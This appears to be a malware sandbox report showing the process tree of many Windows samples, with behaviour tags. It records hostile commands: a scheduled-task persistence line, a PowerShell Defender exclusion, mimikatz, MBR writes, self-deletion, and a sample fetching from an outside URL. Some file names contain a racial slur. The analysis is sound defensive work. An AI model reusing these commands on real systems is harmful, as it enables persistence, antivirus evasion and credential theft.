C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\2O7gWSz.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\2O7gWSz.exeC:\Users\Admin\AppData\Local\Temp\a\2O7gWSz.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\CYY.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\niggaaaaa.exe"C:\Users\Admin\AppData\Local\Temp\niggaaaaa.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\nigganet.exe"C:\Users\Admin\AppData\Local\Temp\nigganet.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\oi.exe"C:\Users\Admin\AppData\Local\Temp\oi.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\oi.exeC:\Users\Admin\AppData\Local\Temp\oi.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\omsecor.exeC:\Windows\System32\omsecor.exe6⤵
-
C:\Windows\SysWOW64\omsecor.exeC:\Windows\SysWOW64\omsecor.exe7⤵
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe8⤵
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe9⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12484 -s 3969⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 14536 -s 4687⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4764 -s 2885⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5456 -s 3003⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Oxymorphazone.exe"C:\Users\Admin\AppData\Local\Temp\Oxymorphazone.exe"2⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\RenT7Wg.exe"C:\Users\Admin\AppData\Local\Temp\RenT7Wg.exe"2⤵
- Executes dropped EXE
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Restter.exe"C:\Users\Admin\AppData\Local\Temp\Restter.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe"3⤵
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate3⤵
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RobloxOptimizer.exe"C:\Users\Admin\AppData\Local\Temp\RobloxOptimizer.exe"2⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "MsEdge" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exe" /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\sdoijsgroeij324.exe"C:\Users\Admin\AppData\Local\Temp\sdoijsgroeij324.exe"2⤵
-
\??\c:\9nnbtn.exec:\9nnbtn.exe3⤵
-
\??\c:\nhhbnn.exec:\nhhbnn.exe4⤵
-
\??\c:\xxxxxxl.exec:\xxxxxxl.exe5⤵
-
\??\c:\jppjd.exec:\jppjd.exe6⤵
-
\??\c:\lxxrlfx.exec:\lxxrlfx.exe7⤵
-
\??\c:\djpvv.exec:\djpvv.exe8⤵
-
\??\c:\vdddv.exec:\vdddv.exe9⤵
-
\??\c:\jdvvj.exec:\jdvvj.exe10⤵
-
\??\c:\xxxlfxx.exec:\xxxlfxx.exe11⤵
-
\??\c:\9rffxxx.exec:\9rffxxx.exe12⤵
-
\??\c:\hbhhbt.exec:\hbhhbt.exe13⤵
-
\??\c:\ddpjj.exec:\ddpjj.exe14⤵
-
\??\c:\xrrfrrf.exec:\xrrfrrf.exe15⤵
-
\??\c:\pjjvp.exec:\pjjvp.exe16⤵
-
\??\c:\hnhhtb.exec:\hnhhtb.exe17⤵
-
\??\c:\1fllfrr.exec:\1fllfrr.exe18⤵
-
\??\c:\ttnhbt.exec:\ttnhbt.exe19⤵
-
\??\c:\ppvvj.exec:\ppvvj.exe20⤵
-
\??\c:\1bbtnh.exec:\1bbtnh.exe21⤵
-
\??\c:\3jpjj.exec:\3jpjj.exe22⤵
-
\??\c:\1nbnht.exec:\1nbnht.exe23⤵
-
\??\c:\jpjdv.exec:\jpjdv.exe24⤵
-
\??\c:\7jjdd.exec:\7jjdd.exe25⤵
-
\??\c:\1dvpd.exec:\1dvpd.exe26⤵
-
\??\c:\jjppp.exec:\jjppp.exe27⤵
-
\??\c:\bbhbbt.exec:\bbhbbt.exe28⤵
-
\??\c:\fxfxxlf.exec:\fxfxxlf.exe29⤵
-
\??\c:\9lrlflf.exec:\9lrlflf.exe30⤵
-
\??\c:\lfxrrrr.exec:\lfxrrrr.exe31⤵
-
\??\c:\xrlfxrr.exec:\xrlfxrr.exe32⤵
-
\??\c:\rxffffr.exec:\rxffffr.exe33⤵
-
\??\c:\nntnhn.exec:\nntnhn.exe34⤵
-
\??\c:\xflfrfl.exec:\xflfrfl.exe35⤵
-
\??\c:\5hhtnn.exec:\5hhtnn.exe36⤵
-
\??\c:\9nnhbt.exec:\9nnhbt.exe37⤵
-
\??\c:\pvvvv.exec:\pvvvv.exe38⤵
-
\??\c:\tbbbnt.exec:\tbbbnt.exe39⤵
-
\??\c:\tnnnbn.exec:\tnnnbn.exe40⤵
-
\??\c:\xfrxlxr.exec:\xfrxlxr.exe41⤵
-
\??\c:\rlrflll.exec:\rlrflll.exe42⤵
-
\??\c:\9bbbhh.exec:\9bbbhh.exe43⤵
-
\??\c:\llfrfrf.exec:\llfrfrf.exe44⤵
-
\??\c:\jjjjd.exec:\jjjjd.exe45⤵
-
\??\c:\9hbthh.exec:\9hbthh.exe46⤵
-
\??\c:\rxfxxfx.exec:\rxfxxfx.exe47⤵
-
\??\c:\7btnnh.exec:\7btnnh.exe48⤵
-
\??\c:\bbtbnh.exec:\bbtbnh.exe49⤵
-
\??\c:\ntttnn.exec:\ntttnn.exe50⤵
-
\??\c:\dvjjv.exec:\dvjjv.exe51⤵
-
\??\c:\pvvvp.exec:\pvvvp.exe52⤵
-
\??\c:\5ppjv.exec:\5ppjv.exe53⤵
-
\??\c:\5xrlrlf.exec:\5xrlrlf.exe54⤵
-
\??\c:\fxxrffx.exec:\fxxrffx.exe55⤵
-
\??\c:\rrxxrrl.exec:\rrxxrrl.exe56⤵
-
\??\c:\lrxffxx.exec:\lrxffxx.exe57⤵
-
\??\c:\5nnbtn.exec:\5nnbtn.exe58⤵
-
\??\c:\lfxlxrf.exec:\lfxlxrf.exe59⤵
-
\??\c:\rffrlxl.exec:\rffrlxl.exe60⤵
-
\??\c:\3pvpd.exec:\3pvpd.exe61⤵
-
\??\c:\bnhtbt.exec:\bnhtbt.exe62⤵
-
\??\c:\jpjvp.exec:\jpjvp.exe63⤵
-
\??\c:\jvvpj.exec:\jvvpj.exe64⤵
-
\??\c:\pppjv.exec:\pppjv.exe65⤵
-
\??\c:\lfxfrlx.exec:\lfxfrlx.exe66⤵
-
\??\c:\vpjdv.exec:\vpjdv.exe67⤵
-
\??\c:\xllfxxr.exec:\xllfxxr.exe68⤵
-
\??\c:\rrlfrlf.exec:\rrlfrlf.exe69⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 31444 -s 30470⤵
- Program crash
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\tuffnigga.exe"C:\Users\Admin\AppData\Local\Temp\tuffnigga.exe"2⤵
-
\??\c:\users\admin\appdata\local\temp\tuffnigga.exeÂc:\users\admin\appdata\local\temp\tuffnigga.exeÂ3⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\appdata\local\temp\360TS_~1.EXE" /c:101 /pmode:24⤵
-
C:\Users\Admin\appdata\local\temp\360TS_~1.EXEC:\Users\Admin\appdata\local\temp\360TS_~1.EXE /c:101 /pmode:25⤵
-
C:\Program Files (x86)\1762122127_0\360TS_~1.EXE"C:\Program Files (x86)\1762122127_0\360TS_~1.EXE" /c:101 /pmode:2 /TSinstall6⤵
-
-
-
-
-
C:\Windows\Resources\Themes\icsys.icn.exeC:\Windows\Resources\Themes\icsys.icn.exe3⤵
-
\??\c:\windows\resources\themes\explorer.exec:\windows\resources\themes\explorer.exe4⤵
-
\??\c:\windows\resources\spoolsv.exec:\windows\resources\spoolsv.exe SE5⤵
-
\??\c:\windows\resources\svchost.exec:\windows\resources\svchost.exe6⤵
-
\??\c:\windows\resources\spoolsv.exec:\windows\resources\spoolsv.exe PR7⤵
-
-
\??\c:\windows\resources\spoolsv.exec:\windows\resources\spoolsv.exe PR7⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"6⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"6⤵
-
-
-
\??\c:\windows\resources\spoolsv.exec:\windows\resources\spoolsv.exe SE5⤵
-
\??\c:\windows\resources\svchost.exec:\windows\resources\svchost.exe6⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Umbral.exe"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\48qKwkR.exe"C:\Users\Admin\AppData\Local\Temp\48qKwkR.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"2⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\l843.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\l843.exeC:\Users\Admin\AppData\Local\Temp\Files\l843.exe4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\%D0%A4~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\%D0%A4~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\%D0%A4~1.EXE4⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\server.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\server.exeC:\Users\Admin\AppData\Local\Temp\server.exe6⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"4⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\mimikatz.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\mimikatz.exeC:\Users\Admin\AppData\Local\Temp\Files\mimikatz.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\hack1226.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\hack1226.exeC:\Users\Admin\AppData\Local\Temp\Files\hack1226.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\LOADDR~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\LOADDR~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\LOADDR~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\vnc.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\vnc.exeC:\Users\Admin\AppData\Local\Temp\Files\vnc.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\XBLKPF~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\XBLKPF~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\XBLKPF~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\INJECT~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\INJECT~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\INJECT~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\Amogus.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\Amogus.exeC:\Users\Admin\AppData\Local\Temp\Files\Amogus.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\020820~1.EXE"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Antieac.exe"C:\Users\Admin\AppData\Local\Temp\Antieac.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\aoi1j.exe"C:\Users\Admin\AppData\Local\Temp\aoi1j.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\3582-490\aoi1j.exe"C:\Users\Admin\AppData\Local\Temp\3582-490\aoi1j.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\aoisjf.exe"C:\Users\Admin\AppData\Local\Temp\aoisjf.exe"2⤵
-
C:\Windows\SysWOW64\Hkbdki32.exeC:\Windows\system32\Hkbdki32.exe3⤵
-
C:\Windows\SysWOW64\Hnfjbdmk.exeC:\Windows\system32\Hnfjbdmk.exe4⤵
-
C:\Windows\SysWOW64\Iqklon32.exeC:\Windows\system32\Iqklon32.exe5⤵
-
C:\Windows\SysWOW64\Iqpfjnba.exeC:\Windows\system32\Iqpfjnba.exe6⤵
-
C:\Windows\SysWOW64\Jjmcnbdm.exeC:\Windows\system32\Jjmcnbdm.exe7⤵
-
C:\Windows\SysWOW64\Kkfcndce.exeC:\Windows\system32\Kkfcndce.exe8⤵
-
C:\Windows\SysWOW64\Llflea32.exeC:\Windows\system32\Llflea32.exe9⤵
-
C:\Windows\SysWOW64\Mbighjdd.exeC:\Windows\system32\Mbighjdd.exe10⤵
-
C:\Windows\SysWOW64\Njiegl32.exeC:\Windows\system32\Njiegl32.exe11⤵
-
C:\Windows\SysWOW64\Okedcjcm.exeC:\Windows\system32\Okedcjcm.exe12⤵
-
C:\Windows\SysWOW64\Ahqddk32.exeC:\Windows\system32\Ahqddk32.exe13⤵
-
C:\Windows\SysWOW64\Ckilmcgb.exeC:\Windows\system32\Ckilmcgb.exe14⤵
-
C:\Windows\SysWOW64\Eleepoob.exeC:\Windows\system32\Eleepoob.exe15⤵
-
C:\Windows\SysWOW64\Fplpll32.exeC:\Windows\system32\Fplpll32.exe16⤵
-
C:\Windows\SysWOW64\Jgnqgqan.exeC:\Windows\system32\Jgnqgqan.exe17⤵
-
C:\Windows\SysWOW64\Lenicahg.exeC:\Windows\system32\Lenicahg.exe18⤵
-
C:\Windows\SysWOW64\Bohbhmfm.exeC:\Windows\system32\Bohbhmfm.exe19⤵
-
C:\Windows\SysWOW64\Eehicoel.exeC:\Windows\system32\Eehicoel.exe20⤵
-
C:\Windows\SysWOW64\Gikdkj32.exeC:\Windows\system32\Gikdkj32.exe21⤵
-
C:\Windows\SysWOW64\Jenmcggo.exeC:\Windows\system32\Jenmcggo.exe22⤵
-
C:\Windows\SysWOW64\Mfnoqc32.exeC:\Windows\system32\Mfnoqc32.exe23⤵
-
C:\Windows\SysWOW64\Nqmfdj32.exeC:\Windows\system32\Nqmfdj32.exe24⤵
-
C:\Windows\SysWOW64\Ofkgcobj.exeC:\Windows\system32\Ofkgcobj.exe25⤵
-
C:\Windows\SysWOW64\Akdilipp.exeC:\Windows\system32\Akdilipp.exe26⤵
-
C:\Windows\SysWOW64\Cdpcal32.exeC:\Windows\system32\Cdpcal32.exe27⤵
-
C:\Windows\SysWOW64\Eomffaag.exeC:\Windows\system32\Eomffaag.exe28⤵
-
C:\Windows\SysWOW64\Gbiockdj.exeC:\Windows\system32\Gbiockdj.exe29⤵
-
C:\Windows\SysWOW64\Hpfbcn32.exeC:\Windows\system32\Hpfbcn32.exe30⤵
-
C:\Windows\SysWOW64\Ihbponja.exeC:\Windows\system32\Ihbponja.exe31⤵
-
C:\Windows\SysWOW64\Kiphjo32.exeC:\Windows\system32\Kiphjo32.exe32⤵
-
C:\Windows\SysWOW64\Mpeiie32.exeC:\Windows\system32\Mpeiie32.exe33⤵
-
C:\Windows\SysWOW64\Iagqgn32.exeC:\Windows\system32\Iagqgn32.exe34⤵
-
C:\Windows\SysWOW64\Ecidpiad.exeC:\Windows\system32\Ecidpiad.exe35⤵
-
C:\Windows\SysWOW64\Gcngafol.exeC:\Windows\system32\Gcngafol.exe36⤵
-
C:\Windows\SysWOW64\Hqkjaifk.exeC:\Windows\system32\Hqkjaifk.exe37⤵
-
C:\Windows\SysWOW64\Ijmapm32.exeC:\Windows\system32\Ijmapm32.exe38⤵
-
C:\Windows\SysWOW64\Oggbfdog.exeC:\Windows\system32\Oggbfdog.exe39⤵
-
C:\Windows\SysWOW64\Mdlgmgdh.exeC:\Windows\system32\Mdlgmgdh.exe40⤵
-
C:\Windows\SysWOW64\Dbphcpog.exeC:\Windows\system32\Dbphcpog.exe41⤵
-
C:\Windows\SysWOW64\Flmonbbp.exeC:\Windows\system32\Flmonbbp.exe42⤵
-
C:\Windows\SysWOW64\Gahcgg32.exeC:\Windows\system32\Gahcgg32.exe43⤵
-
C:\Windows\SysWOW64\Hakidd32.exeC:\Windows\system32\Hakidd32.exe44⤵
-
C:\Windows\SysWOW64\Iljpgl32.exeC:\Windows\system32\Iljpgl32.exe45⤵
-
C:\Windows\SysWOW64\Kifcnjpi.exeC:\Windows\system32\Kifcnjpi.exe46⤵
-
C:\Windows\SysWOW64\Mjjbjjdd.exeC:\Windows\system32\Mjjbjjdd.exe47⤵
-
C:\Windows\SysWOW64\Cpglgmfa.exeC:\Windows\system32\Cpglgmfa.exe48⤵
-
C:\Windows\SysWOW64\Fkpoha32.exeC:\Windows\system32\Fkpoha32.exe49⤵
-
C:\Windows\SysWOW64\Ecbjdcml.exeC:\Windows\system32\Ecbjdcml.exe50⤵
-
C:\Windows\SysWOW64\Pkkdci32.exeC:\Windows\system32\Pkkdci32.exe51⤵
-
C:\Windows\SysWOW64\Hifcqo32.exeC:\Windows\system32\Hifcqo32.exe52⤵
-
C:\Windows\SysWOW64\Opiipkfb.exeC:\Windows\system32\Opiipkfb.exe53⤵
-
C:\Windows\SysWOW64\Bkgekock.exeC:\Windows\system32\Bkgekock.exe54⤵
-
C:\Windows\SysWOW64\Edgbbo32.exeC:\Windows\system32\Edgbbo32.exe55⤵
-
C:\Windows\SysWOW64\Hnkonpeo.exeC:\Windows\system32\Hnkonpeo.exe56⤵
-
C:\Windows\SysWOW64\Kcjjajop.exeC:\Windows\system32\Kcjjajop.exe57⤵
-
C:\Windows\SysWOW64\Bbofpk32.exeC:\Windows\system32\Bbofpk32.exe58⤵
-
C:\Windows\SysWOW64\Kehocokh.exeC:\Windows\system32\Kehocokh.exe59⤵
-
C:\Windows\SysWOW64\Nedgfk32.exeC:\Windows\system32\Nedgfk32.exe60⤵
-
C:\Windows\SysWOW64\Almahljl.exeC:\Windows\system32\Almahljl.exe61⤵
-
C:\Windows\SysWOW64\Dpgbqfhc.exeC:\Windows\system32\Dpgbqfhc.exe62⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"40⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"40⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\aosidjn.exe"C:\Users\Admin\AppData\Local\Temp\aosidjn.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\aosidjn.exe"C:\Users\Admin\AppData\Local\Temp\aosidjn.exe"3⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"4⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"4⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12008 -s 5124⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\aosuifhn.exe"C:\Users\Admin\AppData\Local\Temp\aosuifhn.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\aso9iu8j1298joisd.exe"C:\Users\Admin\AppData\Local\Temp\aso9iu8j1298joisd.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\bb84d74b202b0223952a5ec3035430b938a99704fada5771231b2051324d5f4f.exe"C:\Users\Admin\AppData\Local\Temp\bb84d74b202b0223952a5ec3035430b938a99704fada5771231b2051324d5f4f.exe"2⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\cert.exe" https://bb.c1yun.xyz/cert.jpg3⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\cert.exeC:\Users\Admin\AppData\Local\Temp\RarSFX0\cert.exe https://bb.c1yun.xyz/cert.jpg4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\BLToolsPROV2.9.1.exe"C:\Users\Admin\AppData\Local\Temp\BLToolsPROV2.9.1.exe"2⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\svchost1.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost1.exeC:\Users\Admin\AppData\Local\Temp\svchost1.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\svchost2.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost2.exeC:\Users\Admin\AppData\Local\Temp\svchost2.exe4⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\EB8002~1.EXE"2⤵
-
C:\Users\Admin\AppData\Local\Temp\EB8002~1.EXEC:\Users\Admin\AppData\Local\Temp\EB8002~1.EXE3⤵
-
C:\Windows\microsofthelp.exe"C:\Windows\microsofthelp.exe"4⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\EE8120~1.EXE"2⤵
-
C:\Users\Admin\AppData\Local\Temp\EE8120~1.EXEC:\Users\Admin\AppData\Local\Temp\EE8120~1.EXE3⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\PROGRA~3\MICROS~1\Windows\STARTM~1\Programs\Startup\Skcsk.exe"4⤵
-
C:\PROGRA~3\MICROS~1\Windows\STARTM~1\Programs\Startup\Skcsk.exeC:\PROGRA~3\MICROS~1\Windows\STARTM~1\Programs\Startup\Skcsk.exe5⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\EE8120~1.EXE > nul4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\funny.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\funny.exeC:\Users\Admin\AppData\Local\Temp\funny.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exeC:\Users\Admin\AppData\Local\Temp\svchost015.exe4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12976 -s 5605⤵
- Program crash
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\funny1.exe"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2356 -ip 23561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1736 -ip 17361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5456 -ip 54561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4764 -ip 47641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 5056 -ip 50561⤵
-
C:\Windows\uGiG.eXeuGiG.eXe1⤵
-
C:\Windows\uGiG.eXeuGiG.eXe1⤵
-
C:\Windows\uGiG.eXeuGiG.eXe1⤵
-
C:\Windows\uGiG.eXeuGiG.eXe1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004BC 0x00000000000004D41⤵
-
C:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exeC:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exe1⤵
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\system32\._cache_Synaptics.exe"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 12008 -ip 120081⤵
-
C:\Windows\microsofthelp.exeC:\Windows\microsofthelp.exe1⤵
-
C:\Windows\SysWOW64\openwith.exe"C:\Windows\system32\openwith.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 14536 -ip 145361⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 12484 -ip 124841⤵
-
